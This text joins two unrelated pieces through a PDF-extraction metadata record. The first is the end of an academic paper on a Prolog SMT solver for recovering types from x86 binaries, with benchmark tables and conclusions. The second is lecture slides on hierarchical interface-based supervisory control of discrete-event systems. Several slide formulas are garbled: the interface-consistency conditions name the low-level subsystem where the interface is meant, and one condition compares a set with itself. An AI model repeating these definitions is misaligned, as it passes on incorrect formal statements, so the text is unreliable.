<tr>
<td>1 iterative-sum.O1</td>
<td>296</td>
<td>2047</td>
<td>564</td>
<td>779</td>
<td>14.57 (SAT)</td>
<td>1</td>
</tr>
<tr>
<td>2 iterative-sum.O2</td>
<td>312</td>
<td>2132</td>
<td>586</td>
<td>812</td>
<td>52.34 (SAT)</td>
<td>1</td>
</tr>
<tr>
<td>3 recursive-sum.O1</td>
<td>302</td>
<td>2129</td>
<td>588</td>
<td>809</td>
<td>15.37 (SAT)</td>
<td>1</td>
</tr>
<tr>
<td>4 mergesort.O0</td>
<td>480</td>
<td>3216</td>
<td>888</td>
<td>1220</td>
<td>585.89</td>
<td>70</td>
</tr>
<tr>
<td>5 mergesort.O1</td>
<td>387</td>
<td>2636</td>
<td>718</td>
<td>1011</td>
<td>20.05 (SAT)</td>
<td>1</td>
</tr>
<tr>
<td>6 mergesort.O2</td>
<td>395</td>
<td>2628</td>
<td>713</td>
<td>1017</td>
<td>20.30 (SAT)</td>
<td>1</td>
</tr>
<tr>
<td>7 mergesort.Os</td>
<td>444</td>
<td>3275</td>
<td>907</td>
<td>1244</td>
<td>>14400</td>
<td>31</td>
</tr>
<tr>
<td>8 mergesort.O3</td>
<td>2586</td>
<td>15696</td>
<td>3741</td>
<td>6670</td>
<td>1551.23</td>
<td>31</td>
</tr>
<tr>
<td>9 false</td>
<td>3747</td>
<td>27645</td>
<td>5357</td>
<td>12957</td>
<td>19.46</td>
<td>51</td>
</tr>
<tr>
<td>10 true</td>
<td>3747</td>
<td>27645</td>
<td>5357</td>
<td>12955</td>
<td>19.27</td>
<td>51</td>
</tr>
<tr>
<td>11 tty</td>
<td>3825</td>
<td>28255</td>
<td>5417</td>
<td>13373</td>
<td>20.02</td>
<td>51</td>
</tr>
<tr>
<td>12 sync</td>
<td>3901</td>
<td>28706</td>
<td>5571</td>
<td>13466</td>
<td>70.76</td>
<td>52</td>
</tr>
<tr>
<td>15 hostid</td>
<td>3912</td>
<td>28973</td>
<td>5576</td>
<td>13634</td>
<td>62.70</td>
<td>52</td>
</tr>
<tr>
<td>19 basename</td>
<td>4114</td>
<td>30125</td>
<td>5829</td>
<td>14212</td>
<td>69.48</td>
<td>53</td>
</tr>
<tr>
<td>20 env</td>
<td>4016</td>
<td>29670</td>
<td>5589</td>
<td>13956</td>
<td>22.69</td>
<td>53</td>
</tr>
<tr>
<td>22 uname</td>
<td>4074</td>
<td>31048</td>
<td>5653</td>
<td>15034</td>
<td>32.28</td>
<td>52</td>
</tr>
<tr>
<td>23 cksum</td>
<td>4259</td>
<td>31973</td>
<td>5975</td>
<td>15370</td>
<td>101.85</td>
<td>52</td>
</tr>
<tr>
<td>24 sleep</td>
<td>4442</td>
<td>32993</td>
<td>6343</td>
<td>15637</td>
<td>84.89</td>
<td>51</td>
</tr>
<tr>
<td>29 echo</td>
<td>4310</td>
<td>33087</td>
<td>6064</td>
<td>15571</td>
<td>41.41</td>
<td>51</td>
</tr>
<tr>
<td>30 nice</td>
<td>4397</td>
<td>33057</td>
<td>6000</td>
<td>15719</td>
<td>11.23</td>
<td>51</td>
</tr>
<tr>
<td>33 nl</td>
<td>5719</td>
<td>43834</td>
<td>7692</td>
<td>21420</td>
<td>17.20</td>
<td>56</td>
</tr>
<tr>
<td>34 comm</td>
<td>5563</td>
<td>45401</td>
<td>7790</td>
<td>22797</td>
<td>108.09</td>
<td>53</td>
</tr>
<tr>
<td>42 wc</td>
<td>6377</td>
<td>52105</td>
<td>8818</td>
<td>26713</td>
<td>93.91</td>
<td>52</td>
</tr>
<tr>
<td>43 uniq</td>
<td>6595</td>
<td>52779</td>
<td>9013</td>
<td>27190</td>
<td>35.46</td>
<td>53</td>
</tr>
<tr>
<td>51 join</td>
<td>7946</td>
<td>67168</td>
<td>10844</td>
<td>34688</td>
<td>85.93</td>
<td>60</td>
</tr>
<tr>
<td>53 sha384sum</td>
<td>11612</td>
<td>78776</td>
<td>16419</td>
<td>36153</td>
<td>191.87</td>
<td>53</td>
</tr>
<tr>
<td>54 cut</td>
<td>8173</td>
<td>68332</td>
<td>11248</td>
<td>36736</td>
<td>185.84</td>
<td>60</td>
</tr>
<tr>
<td>55 ln</td>
<td>9369</td>
<td>83877</td>
<td>12668</td>
<td>44935</td>
<td>292.21</td>
<td>54</td>
</tr>
<tr>
<td>66 timeout</td>
<td>10797</td>
<td>92504</td>
<td>14856</td>
<td>47845</td>
<td>396.81</td>
<td>54</td>
</tr>
<tr>
<td>78 ptx</td>
<td>15919</td>
<td>141197</td>
<td>21850</td>
<td>76881</td>
<td>702.67</td>
<td>55</td>
</tr>
<tr>
<td>84 mbslen</td>
<td>25895</td>
<td>257132</td>
<td>35148</td>
<td>148102</td>
<td>1935.12</td>
<td>56</td>
</tr>
</tbody>
</table>
\(^a\) the name of the binary from which the constraints were generated
\(^b\) the number of instructions in the binary, over which the constraints were drawn
\(^c\) the number of propositional clauses in the problem
\(^d\) the number of propositional variables
\(^e\) the number of theory variables
\(^f\) the runtime in seconds to find a model or a core for the Prolog solver
\(^g\) the number of times the Prolog SMT solver was called
\(^h\) the runtime in seconds to find a model or a core for the hybrid solver
\(^i\) the number of times the PicoSAT propositional solver was called
The final constraint states that $A_2$ must have pointer type, hence those for the `add` dictate that one of $A_1$ and `rax` must be of basic type, and the other a pointer; however, the first constraint says they have the same type, so the system is inconsistent.
Another unexpected source of inconsistency is the hard-coded pointer addresses sometimes found in `mov` instructions. These are often addresses of strings included in the binary, but also include constructor and destructor lists, added by the linker for construction and destruction of objects. For example, the instruction `mov ebx, 0x605e38` appears in the `cksum` binary, and moves the address of a string into `ebx` resulting in the constraint $T_{ebx} = \text{basic(\_int.4)}$. Later however, `ebx` is dereferenced, which implies that it is a pointer, and conflicts with the earlier inference.
Quite apart from the disjunctive nature of constraints, the sheer number of x86 instructions pose an engineering challenge when writing a type recovery tool; indeed the constraint generator module has taken longer to develop than both SMT solvers together. Moreover, as the above two examples illustrate, type conflicts stem from type interactions between different instructions which makes the type conflicts difficult to anticipate. The result produced from the solver is either a successful recovery of types, or a core of inconsistent types, both of which can be achieved sufficiently quickly. Since the core is typically small, it is of great utility in pinpointing omissions in the type generation phase. It seems attractive to augment the solver with a domain specific language for expressing and editing the type constraints so that they can be refined, if necessary, by a user.
9. CONCLUSIONS AND FUTURE WORK
This paper has presented a DPLL($T$) SMT solver coded in Prolog for two theories – rational-tree unification and quantifier-free linear real arithmetic. The motivation for this work is the need for an SMT solver over rational-tree unification in order to recover types from x86 binaries; with Prolog providing a decision procedure for rational-tree unification the integration with the SAT solver in [19] is a natural development. The effectiveness of the approach has been demonstrated by the successful application of the solver to a suite of type recovery problems.
The solver can be extended by providing decision procedures for further theories. Finite domain solvers, such as SICStus CLP(FD), often allow reified constraints [5], hence finite domain constraints might appear a good candidate to incorporate into the DPLL($T$) framework. Unfortunately, finite domain constraint solvers typically maintain stores that are potentially inconsistent, hence without labelling (an unattractive step) a decision procedure for conjunctions of theory constraints is not readily available.
The approach to theory propagation described in this paper is not necessarily tied to DPLL-based SAT solvers and future work is to describe how to integrate it into a generalisation [42] of Stålmarck’s proof technique [41]. Other future work is to add certification, as in [1]. That is, for unsatisfiable instances not only is the result returned, but also a demonstration of unsatisfiability that can be determined by a small trusted computing base. Another line of inquiry will be to investigate how to systematically relax the SMT instance so that a type assignment can be always found, without manual intervention, even in the presence of conflicting constraints. MaxSMT techniques seem to be well-suited to this task.
10. ACKNOWLEDGMENTS
We thank Alan Mycroft for stimulating discussions on type recovery at Dagstuhl Seminar 12051 [25]. We also thank Wei-Ming Khoo for explaining his approach to type recovery and Mats Carlsson for his help with SICStus Prolog.
11. REFERENCES
|
{"Source-Url": "http://openaccess.city.ac.uk/3872/1/Theory%20Propagation%20and%20Rational-Trees.pdf", "len_cl100k_base": 16247, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 50430, "total-output-tokens": 20075, "length": "2e13", "weborganizer": {"__label__adult": 0.0003020763397216797, "__label__art_design": 0.0003161430358886719, "__label__crime_law": 0.0003452301025390625, "__label__education_jobs": 0.0007767677307128906, "__label__entertainment": 6.92605972290039e-05, "__label__fashion_beauty": 0.00015354156494140625, "__label__finance_business": 0.00024509429931640625, "__label__food_dining": 0.0003199577331542969, "__label__games": 0.0006918907165527344, "__label__hardware": 0.000934123992919922, "__label__health": 0.00041294097900390625, "__label__history": 0.0002865791320800781, "__label__home_hobbies": 9.757280349731444e-05, "__label__industrial": 0.0004429817199707031, "__label__literature": 0.00033402442932128906, "__label__politics": 0.000278472900390625, "__label__religion": 0.0004901885986328125, "__label__science_tech": 0.044464111328125, "__label__social_life": 7.981061935424805e-05, "__label__software": 0.0081634521484375, "__label__software_dev": 0.93994140625, "__label__sports_fitness": 0.000240325927734375, "__label__transportation": 0.0005764961242675781, "__label__travel": 0.00017440319061279297}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 69210, 0.06412]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 69210, 0.52017]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 69210, 0.85738]], "google_gemma-3-12b-it_contains_pii": [[0, 709, false], [709, 4722, null], [4722, 11929, null], [11929, 17571, null], [17571, 24881, null], [24881, 32157, null], [32157, 36859, null], [36859, 43848, null], [43848, 47525, null], [47525, 52931, null], [52931, 57519, null], [57519, 63666, null], [63666, 69210, null]], "google_gemma-3-12b-it_is_public_document": [[0, 709, true], [709, 4722, null], [4722, 11929, null], [11929, 17571, null], [17571, 24881, null], [24881, 32157, null], [32157, 36859, null], [36859, 43848, null], [43848, 47525, null], [47525, 52931, null], [52931, 57519, null], [57519, 63666, null], [63666, 69210, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 69210, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 69210, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 69210, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 69210, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 69210, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 69210, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 69210, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 69210, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 69210, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 69210, null]], "pdf_page_numbers": [[0, 709, 1], [709, 4722, 2], [4722, 11929, 3], [11929, 17571, 4], [17571, 24881, 5], [24881, 32157, 6], [32157, 36859, 7], [36859, 43848, 8], [43848, 47525, 9], [47525, 52931, 10], [52931, 57519, 11], [57519, 63666, 12], [63666, 69210, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 69210, 0.11864]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
74146d8f1635b92324742102502600263d77864c
|
CAS 745
Supervisory Control of Discrete-Event Systems
Slides 5: Hierarchical Interface-based Supervisory Control
Dr. Ryan Leduc
Department of Computing and Software
McMaster University
September 1, 2022
Reference Material
Problem Definition
- We wish to be able to verify systems with large state spaces (i.e., with a statespace on the order of $10^{20}$ or larger).
- Main obstacle is the combinatorial explosion of the product state space.
- For example, if we took the synchronous product of $m$ 10 state DES, the result could have as many as $10^m$ states.
- If we take $m = 6$, we are looking at around 1 million states.
- Could take around 1GB of RAM to compute using algorithms in which the states and transitions of the DES are explicitly represented.
- Our goal is to create an architecture for DES that supports a scalable method for the design and verification of nonblocking supervisory controllers.
Inspiration from Digital Logic
- Complexity routinely managed by designers of microprocessors for personal computers.
- Circuits hierarchical in nature, and are designed by using interfaces to limit the interaction between different levels of the hierarchy.
- Complex systems designed by first creating basic components, then adding an interface.
- Interface encapsulates the behaviour of the component and provides an abstract model of the component’s operation with a well defined method of interacting with the component.
- These components are then combined to create a new, more complex, component, with its own interface.
Inspiration from Digital Logic - II
- Component treated as a black box; designer only uses the component’s interface at the next higher level.
- Designer not allowed to modify the inner workings of a component or to “look below” the interface.
Inspiration from Software Engineering
- In software program design similar ideas are at work.
- To deal with the complexity of large scale systems, software engineers have long advocated the decomposition of software into modules (components) that interact via well defined interfaces (see work of David L. Parnas).
- This approach is referred to as *information hiding*.
- Some advantages are:
- Limits complexity by hiding unnecessary detail behind interfaces.
- Promotes independent development; once the module interfaces are defined, each module can be designed separately.
Advantages cont.
- By encapsulating the behaviour of a module, it's easy to change how module implemented.
Such changes do not affect the modules that use it since they are not permitted to see internal details or interact with the internals of the module.
- Makes a module easier to understand as information is localized in modules and unnecessary details are hidden by the interface.
- Provides a well defined hierarchical structure.
Structure guarantees we can remove upper levels of hierarchy, and what is left can be reused in another application.
Our goal is to develop a similar architectural approach for DES.
We will present a method called *hierarchical interface-based supervisory control (HISC)*.
This method utilizes well defined interfaces between components that are themselves DES.
These “interface DES” provide a structure allowing local checks to guarantee global properties such as controllability and nonblocking.
For language $L$, the eligibility operator $\text{Elig}_L : \Sigma^* \rightarrow \text{Pwr}(\Sigma)$ is defined as below. Let $s \in \Sigma^*$; then
$$\text{Elig}_L(s) := \{ \sigma \in \Sigma | s\sigma \in L \}$$
Synchronous Product Versus Meet
- The supervisors are represented as automata and defined as below:
\[ S = (X, \Sigma_S, \xi, x_o, X_m) \]
- Normally we use the *synchronous product* to define the composite plant model, and the *meet* to define the composite supervisor model, as well as the closed-loop behaviour of the system.
- For HISC, will use the *synchronous product* operator for everything.
- **Reason:** makes data entry easier and less error prone, particularly when using a graphical editor to specify and display the supervisor.
We define closed loop behaviour of a plant $G_1 = (Y_1, \Sigma_1, \delta_1, y_{o1}, Y_{m1})$ under the control of a supervisor $S$ as: $\text{System} := G_1 || S$.
To define controllability in this setting, we adopt the standard partition $\Sigma = \Sigma_u \cup \Sigma_c$.
We then define $\Sigma$ as well as the natural projections and languages below:
$$\Sigma := \Sigma_1 \cup \Sigma_S
\begin{align*}
P_1 : \Sigma^* &\rightarrow \Sigma_1^*
P_S : \Sigma^* &\rightarrow \Sigma_S^*
\end{align*}$$
$$\mathcal{L}_{G_1} := P_1^{-1}L(G_1)
\mathcal{L}_S := P_S^{-1}L(S)$$
Thus, $L(\text{System}) = \mathcal{L}_{G_1} \cap \mathcal{L}_S$
A supervisor $S$ is controllable for a plant $G_1$ if:
$$\mathcal{L}_S \Sigma_u \cap \mathcal{L}_{G_1} \subseteq \mathcal{L}_S$$
or, equivalently:
$$\forall s \in \mathcal{L}_{G_1} \cap \mathcal{L}_S \quad \text{Elig}_{G_1}(s) \cap \Sigma_u \subseteq \text{Elig}_{\mathcal{L}_S}(s)$$
Serial Case
- In the serial case of HISC, we have a master-slave system.
- We have a high-level subsystem which sends commands to a low-level subsystem.
- The low-level subsystem performs the indicated task, and then sends back a reply.
- Conceptual structure of system shown below:
Serial Case - II
- Want to be able to design and verify system on a per component basis.
- To achieve this, we interpose an interface between the two systems.
- Interface limits the two subsystem’s interaction and knowledge of each other, and is itself a supervisor.
- To capture restriction of information imposed by interface, we partition $\Sigma$ into the following pairwise disjoint alphabets:
**Request events** $\Sigma_R$: high-level commands.
**Answer events** $\Sigma_A$: low-level responses.
**High-level events** $\Sigma_H$: events visible only at the high-level.
**Low-level events** $\Sigma_L$: events visible only at the low-level.
- We refer to request and answer events collectively as interface events.
Original Star Interfaces
► Sufficient to define a set of answer events for each request event.
► In essence, define a map \textbf{Answer} : \Sigma_R \rightarrow \text{Pwr}(\Sigma_A).
► For \( \rho \in \Sigma_R \), \textbf{Answer}(\rho) is the set of possible answers (referred to as the \textit{answer set}) the low-level subsystem could provide after receiving request \( \rho \).
► We add the additional constraints that the event set of the interface is equal to the set of interface events, that the low-level subsystem must provide at least one response for each request it receives, and that \( \Sigma_A \) does not contain any unused events.
We can now automatically construct the corresponding star interface in the form shown in the figure below.
\[ \rho_1, \rho_2, \ldots, \rho_n \in \sum_R \]
Command-pair Interfaces
- Does not require “star” shape.
- Still has request events followed by answer events.
- Can now show additional state information as in figure below.
©2022 R.J. Leduc
Command-pair Interfaces Definition
Definition
A DES $G_I = (X, \Sigma_R \cup \Sigma_A, \xi, x_o, X_m)$ is a command-pair interface if the following conditions are satisfied:
1. $x_o \in X_m$
2. $(\forall x \in X_m)(\forall \sigma \in \Sigma_R \cup \Sigma_A) \xi(x, \sigma)! \Rightarrow \sigma \in \Sigma_R \land \xi(x, \sigma) \in X - X_m$
3. $(\forall x \in X - X_m)(\forall \sigma \in \Sigma_R \cup \Sigma_A) \xi(x, \sigma)! \Rightarrow \sigma \in \Sigma_A \land \xi(x, \sigma) \in X_m$
► Clear that star interfaces are a special case of command-pair interfaces.
HISC Parallel Case
- So far, we have restricted ourselves to systems where the number of low-level subsystems, or *degree* of the system \((n)\), is restricted to one.
- We now examine the parallel case where we have \(n \geq 1\) low-level subsystems and the serial case is just the special case of \(n = 1\).
- Here, a single high-level subsystem, interacts with \(n\) independent low-level subsystems, communicating with each through a separate interface.
HISC Parallel Case : Nonblocking
We partition the system alphabet into the following analogous pairwise disjoint alphabets:
\[
\Sigma := \Sigma_H \cup \bigcup_{k=1,\ldots,n} \left( \Sigma_{L_k} \cup \Sigma_{R_k} \cup \Sigma_{A_k} \right)
\]
We take the high-level subsystem to be \( G_H \), and for \( j \in \{1, \ldots, n\} \), the \( j^{th} \) low-level subsystem is \( G_{L_j} \), and the \( j^{th} \) interface is \( G_{I_j} \).
HISC Parallel Case: Nonblocking - II
- The \( j^{th} \) low-level is \( G_{L_j} \parallel G_{I_j} \).
- The high-level is \( G = G_H \parallel G_{I_1} \parallel \ldots \parallel G_{I_n} \).
- We define the term flat system, \( G \), to refer to the equivalent DES that would represent our system if we ignored the interface structure.
\[
G = G_H \parallel G_{L_1} \parallel \ldots \parallel G_{L_n} \parallel G_{I_1} \parallel \ldots \parallel G_{I_n}
\]
Parallel Case Notation
- For the remainder of this section, we take the index \( j \) to have range \( \{1, \ldots, n\} \).
- **Event Sets:**
\[
\Sigma_{I_j} := \Sigma_{R_j} \cup \Sigma_{A_j} \\
\Sigma_{IL_j} := \Sigma_{L_j} \cup \Sigma_{I_j} \\
\Sigma_{IH} := \Sigma_H \cup \bigcup_{k \in \{1, \ldots, n\}} \Sigma_{I_k}
\]
- **Natural Projections:**
\[
P_{I_j} : \Sigma^* \to \Sigma_{I_j} \\
P_{IL_j} : \Sigma^* \to \Sigma_{IL_j} \\
P_{IH} : \Sigma^* \to \Sigma_{IH}
\]
Languages over $\Sigma^*$:
- $\mathcal{H} := P_{IH}^{-1}(L(G_H))$, $\mathcal{H}_m := P_{IH}^{-1}(L_m(G_H)) \subseteq \Sigma^*$
- $\mathcal{L}_j := P_{IL_j}^{-1}(L(G_{L_j}))$, $\mathcal{L}_{m_j} := P_{IL_j}^{-1}(L_m(G_{L_j})) \subseteq \Sigma^*$
- $\mathcal{I}_j := P_{I_j}^{-1}(L(G_{I_j}))$, $\mathcal{I}_{m_j} := P_{I_j}^{-1}(L_m(G_{I_j})) \subseteq \Sigma^*$
Language of flat system:
$$L(G) = \mathcal{H} \cap \mathcal{L}_1 \cap \mathcal{I}_1 \cap \ldots \cap \mathcal{L}_n \cap \mathcal{I}_n$$
Marked language of flat system:
$$L_m(G) = \mathcal{H}_m \cap \mathcal{L}_{m_1} \cap \mathcal{I}_{m_1} \cap \ldots \cap \mathcal{L}_{m_n} \cap \mathcal{I}_{m_n}$$
Level-Wise Nonblocking
Definition
The $n^{\text{th}}$ degree ($n \geq 1$) parallel interface system composed of $\text{DES } G_H, G_{I_1}, G_{L_1}, \ldots, G_{I_n}, G_{L_n}$, is said to be level-wise nonblocking if the following conditions are satisfied:
(I) *nonblocking at the high-level:*
\[
\mathcal{H}_m \cap \bigcap_{k=1,\ldots,n} \mathcal{I}_{m_k} = \mathcal{H} \cap \bigcap_{k=1,\ldots,n} \mathcal{I}_k
\]
(II) *nonblocking at the low-level: for all $j \in \{1, \ldots, n\}$,*
\[
\mathcal{L}_{m_j} \cap \mathcal{I}_{m_j} = \mathcal{L}_j \cap \mathcal{I}_j
\]
Interface Consistent
Definition
The $n^{\text{th}}$ degree ($n \geq 1$) parallel interface system composed of DES $G_H, G_{I_1}, G_{L_1}, \ldots, G_{I_n}, G_{L_n}$, is interface consistent with respect to the alphabet partition given by (1), if for all $j \in \{1, \ldots, n\}$, the following conditions are satisfied:
Multi-level Properties
1. The event set of $G_H$ is $\Sigma_{IH}$, and the event set of $G_{L_j}$ is $\Sigma_{IL_j}$.
2. $G_{L_j}$ is a command-pair interface.
Interface Consistent - II
High-Level Properties
3. \((\forall s \in \mathcal{H} \cap \bigcap_{k=1,\ldots,n} \mathcal{I}_k)\)
\[\text{Elig}_{\mathcal{L}_j}(s) \cap \Sigma_{A_j} \subseteq \text{Elig}_\mathcal{H}(s)\]
This property asserts that answer events must be eligible in the high-level subsystem \((G_H)\), if the event is eligible in the interface.
Low-Level Properties
4. \((\forall s \in \mathcal{L}_j \cap \mathcal{I}_j)\) \[\text{Elig}_{\mathcal{L}_j}(s) \cap \Sigma_{R_j} \subseteq \text{Elig}_{\mathcal{L}_j}(s)\]
This property asserts that request events must be eligible in the low-level subsystem \((G_{L_j})\), if the event is eligible in the interface.
Interface Consistent - III
5. \( (\forall s \in \Sigma^*.\Sigma_{R_j} \cap \mathcal{L}_j \cap \mathcal{I}_j) \)
\[
\text{Elig}_{\mathcal{L}_j \cap \mathcal{I}_j}(s\Sigma^*_{L_j}) \cap \Sigma_{A_j} = \text{Elig}_{\mathcal{I}_j}(s) \cap \Sigma_{A_j}
\]
where \( \text{Elig}_{\mathcal{L}_j \cap \mathcal{I}_j}(s\Sigma^*_{L_j}) := \bigcup_{l \in \Sigma^*_{L_j}} \text{Elig}_{\mathcal{L}_j \cap \mathcal{I}_j}(sl) \)
This property asserts that immediately after a request event has occurred, there exists a path via strings in \( \Sigma^*_{L_j} \) to each answer event that can follow the request event. Some paths may vanish after low-level events occur.
6. \( (\forall s \in \mathcal{L}_j \cap \mathcal{I}_j) \)
\[
s \in \mathcal{I}_{m_j} \Rightarrow (\exists l \in \Sigma^*_{L_j}) \ s l \in \mathcal{L}_{m_j} \cap \mathcal{I}_{m_j}.
\]
This property asserts that every string marked by the interface and accepted by the low-level subsystem, can be extended by a low-level string to a string marked by the low-level.
Nonblocking Theorem
Theorem
If the \(n^{th}\) degree \((n \geq 1)\) parallel interface system composed of
\(DES \ G_H, G_{I_1}, G_{L_1}, \ldots, G_{I_n}, G_{L_n}\), is level-wise nonblocking and
interface consistent with respect to the alphabet partition given by
\((1)\), then
\[
L_m(G) = L(G), \text{ where } G = G_H \parallel G_{I_1} \parallel G_{L_1} \parallel \ldots \parallel G_{I_n} \parallel G_{L_n}
\]
- For example, let’s assume \(G_H\) has \(10^5\) states, \(G_{L_1}\) has \(10^5\) states, and \(G_{I_1}\) has 10 states \((n = 1)\).
- Worst case, \(G\) could have \(10^{11}\) states so checking nonblocking directly would likely run out of memory.
- However, \(G_H \parallel G_{I_1}\) and \(G_{L_1} \parallel G_{I_1}\) would have maximum \(10^6\) states which can easily be handled.
Parallel Case: Controllability
- For controllability, we need to decompose the system down into its plant and supervisors.
- The general form of a bi-level system is shown in the figure below, for \( n = 1 \).
- We define \textit{high-level plant} to be \( G^p_H \), and \textit{supervisor} to be \( S_H \).
- Similarly, the \( j^{th} \) \textit{low level plant} and \textit{supervisor} are \( G^p_{Lj} \) and \( S_{Lj} \).
Parallel Case: Controllability - II
- For consistency, we define the following identities for the high and \( j \)th low-level subsystems as below:
\[
G_H := G^p_H || S_H \\
G_{Lj} := G^p_{Lj} || S_{Lj}
\]
- We can now define our flat supervisor and plant as well as some useful languages over \( \Sigma^* \):
\[
\begin{align*}
\text{Plant} & := G^p_H || G^p_{L1} || \ldots || G^p_{Ln} \\
\text{Sup} & := S_H || S_{L1} || \ldots || S_{Ln} || G_{I1} || \ldots || G_{In} \\
\mathcal{H}^p & := P_{IH}^{-1} L(G^p_H), \quad S_H := P_{IH}^{-1} L(S_H), \subseteq \Sigma^* \\
\mathcal{L}^p_j & := P_{ILj}^{-1} L(G^p_{Lj}), \quad S_{Lj} := P_{ILj}^{-1} L(S_{Lj}), \subseteq \Sigma^*
\end{align*}
\]
Level-Wise Controllable
Definition
The \( n^{\text{th}} \) degree \((n \geq 1)\) parallel interface system composed of
\( \text{DES } G_{H}^{p}, G_{L_1}^{p}, \ldots, G_{L_n}^{p}, S_{H}, S_{L_1}, \ldots, S_{L_n}, G_{I_1}, \ldots, G_{I_n}, \) is
level-wise controllable with respect to the alphabet partition given
by (1), if for all \( j \in \{1, \ldots, n\} \) the following conditions hold:
(I) The alphabet of \( G_{H}^{p} \) and \( S_{H} \) is \( \Sigma_{IH} \), the alphabet of \( G_{L_j}^{p} \)
and \( S_{L_j} \) is \( \Sigma_{IL_j} \), and the alphabet of \( G_{I_j} \) is \( \Sigma_{I_j} \)
(II) \((\forall s \in \mathcal{L}_{j}^{p} \cap S_{L_j} \cap I_{j})\)
\[ \text{Elig}_{\mathcal{L}_{j}^{p}}(s) \cap \Sigma_u \subseteq \text{Elig}_{S_{L_j} \cap I_{j}}(s) \]
(III) \((\forall s \in \mathcal{H}^{p} \cap I \cap S_{H})\)
\[ \text{Elig}_{\mathcal{H}^{p} \cap I}(s) \cap \Sigma_u \subseteq \text{Elig}_{S_{H}}(s), \text{ where } I := \bigcap_{k=1,\ldots,n} I_k \]
Controllability Theorem
**Theorem**
If the $n^{th}$ degree ($n \geq 1$) parallel interface system composed of plant components $G^p_H, G^p_{L_1}, \ldots, G^p_{L_n}$, supervisors $S_H, S_{L_1}, \ldots, S_{L_n}$, and interfaces $G_{I_1}, \ldots, G_{I_n}$, is level-wise controllable with respect to the alphabet partition given by (1), then
$$\forall s \in L(\text{Plant}) \cap L(\text{Sup})$$
$$Elig_{L(\text{Plant})}(s) \cap \Sigma_u \subseteq Elig_{L(\text{Sup})}(s)$$
Simple Manufacturing Example
- The manufacturing unit, shown below, is composed of three cells connected by a conveyor belt.
- Before each cell, there is a part acquisition unit that automatically stops a part and holds it until it is given a release command.
- After the item exits the conveyor system, it goes to a packaging machine.
- Parts enter the system at the far left and exit at the far right.
Plant Models
- Diagram shows flat view of plant (supervisors will be added later).
- Shows plant models for cell one (polishes part), cell two (attaches part of type A or type B to the assembly of what’s being built), cell three (attach case to assembly).
- In the middle, we see the path flow model that shows how parts enter the system, travel around the belt, and finally leave the system.
- On the far right, we see the model for the packaging system.
Defining Infrastructure
- First step is to decide which plant models belong at which level.
- High level decisions and info about how components interact goes at high-level.
- In general, localized information about how a component performs a task goes at the low-level.
Augmenting Low-Level Plant
- Problem: the model for cell two is not well suited to being accessed through an interface.
- Why? It requires that the decision to attach part A or part B be made after event \( \text{take}_\text{pt} \) occurs.
- Means we have to pass in which part to choose.
- To achieve this, we augment the model by adding the DES Define New Request and Answer Events shown on next slide.
The new request events (*attach_ptA* and *attach_ptB*) allow high-level to specify desired part.
New finish events (*finA_attach* and *finB_attach*) tell high-level that their respective tasks is complete.
We refer to these new events as expansion events.
We define our interface DES as in figure below.
We next define the alphabet partition $\Sigma := \Sigma_H \cup \Sigma_L \cup \Sigma_R \cup \Sigma_A$ as follows:
$\Sigma_R = \{\text{start}_\text{pol}, \text{attch}_\text{ptA}, \text{attch}_\text{ptB}, \text{start}_\text{case}\}$
$\Sigma_A = \{\text{comp}_\text{pol}, \text{finA}_\text{attach}, \text{finB}_\text{attach}, \text{compl}_\text{case}\}$
$\Sigma_H = \{\text{part}_\text{ent}, \text{part}_\text{arr1}, \text{part}_\text{lv1}, \text{partLvExit}, \text{str}_\text{exit}, \text{fin}_\text{exit}, \text{part}_\text{arr2}, \text{recog}_A, \text{recog}_B, \text{part}_\text{lv2}, \text{part}_\text{arr3}, \text{part}_\text{lv3}, \text{take}_\text{item}, \text{allow}_\text{exit}, \text{package}\}$
$\Sigma_L = \{\text{take}_\text{pt}, \text{str}_\text{ptA}, \text{str}_\text{ptB}, \text{compl}_A, \text{compl}_B, \text{ret}_\text{pt}, \text{dip}_\text{acid}, \text{polish}, \text{str}_\text{rlse}, \text{attach}_\text{case}\}$
Control specifications
1. For cell one, we want the sequence `dip_acid-polish` to be repeated twice, after a `start_pol` event occurs.
2. For cell two, we should perform correct sequence to attach the appropriate part based on events `attach_ptA` and `attach_ptB` occurring. We should then allow the appropriate answer event to occur.
3. Only one part allowed in loop at a time.
4. Processing order is cell 1, cell 2, cell 3, and then the part is allowed to leave the loop to go to the packaging machine.
5. There is a two slot buffer between the loop, and the packaging machine. It should not underflow or overflow.
Designing Low-Level Supervisors
- After defining the interface, we next design the low-level supervisors. They will provide the functionality for the request events, and give meaning to the answer events.
- The idea is for the low-level to offer well-defined “services” to the high-level.
- The low-level may also contain processes that are necessary for its function but are not directly related to the interface.
- The supervisors to satisfy points 1 and 2 are shown below:
Designing High-Level Supervisors
- High level supervisors are designed to manipulate the interface to get the low level perform the desired task.
- They may only express their control law in terms of high level and interface events.
- The supervisors to satisfy the remaining control specifications are shown below:
Final System
High Level Subsystem
Low Level Subsystem
©2022 R.J. Leduc
Final System: Results
- Can use a software tool (DESpot) to verify that the system is level-wise nonblocking and interface consistent.
- We can thus conclude via Nonblocking Theorem that the flat system is nonblocking.
